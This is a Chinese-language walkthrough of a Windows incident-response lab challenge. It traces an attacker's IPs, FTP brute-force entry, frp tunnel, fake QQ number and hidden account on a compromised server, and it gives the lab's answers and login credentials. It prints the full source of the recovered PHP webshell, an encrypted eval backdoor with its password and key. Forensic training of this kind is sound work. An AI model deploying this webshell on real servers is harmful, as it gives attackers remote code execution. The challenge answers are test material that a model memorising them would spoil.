windows-web2

windows-web2

挑战内容

前景需要：小李在某单位驻场值守，深夜12点，甲方已经回家了，小李刚偷偷摸鱼后，发现安全设备有告警，于是立刻停掉了机器开始排查。

这是他的服务器系统，请你找出以下内容，并作为通关条件：

1.攻击者的IP地址（两个）？

2.攻击者的webshell文件名？

3.攻击者的webshell密码？

4.攻击者的伪QQ号？

5.攻击者的伪服务器IP地址？

6.攻击者的服务器端口？

7.攻击者是如何入侵的（选择题）？

8.攻击者的隐藏用户名？

关于靶机启动

使用Vmware启动即可，如启动错误，请升级至Vmware17.5以上

关于解题

直接运行桌面上“解题.exe”即可

相关账户密码

用户:administrator

密码:Zgsf@qq.com

解题

1.攻击者的IP地址（两个）？

查看apache日志可以看到有大量的访问并且响应是404的，明显是在扫描目录

ip1:192.168.126.135

使用工具查看远程登录日志

ip2:192.168.126.129

2.攻击者的webshell文件名？

上传D盾扫描找到

在日志中基本也可以确定

文件为system.php

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='hack6618';
$payloadName='payload';
$key='7813d1590d28a7dd';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

3.攻击者的webshell密码？

hack6618

4.攻击者的伪QQ号？

删除用户时发现

没有看到hack用户，猜测为administrator的隐藏用户‘

在注册表中进行删除

在文档中找到Tencent file，应该是进行过通讯

找到伪造的QQ号

777888999321

5.攻击者的伪服务器IP地址？

在777888999321文档中找到frp（内网穿透）

查看frp的配置文件

伪服务器ip地址：256.256.66.88

6.攻击者的服务器端口？

端口：65536

7.攻击者是如何入侵的（选择题）？

在ftp日志中可以看到大量的登录失败

ftp爆破->上传system.php->拿到shell

8.攻击者的隐藏用户名？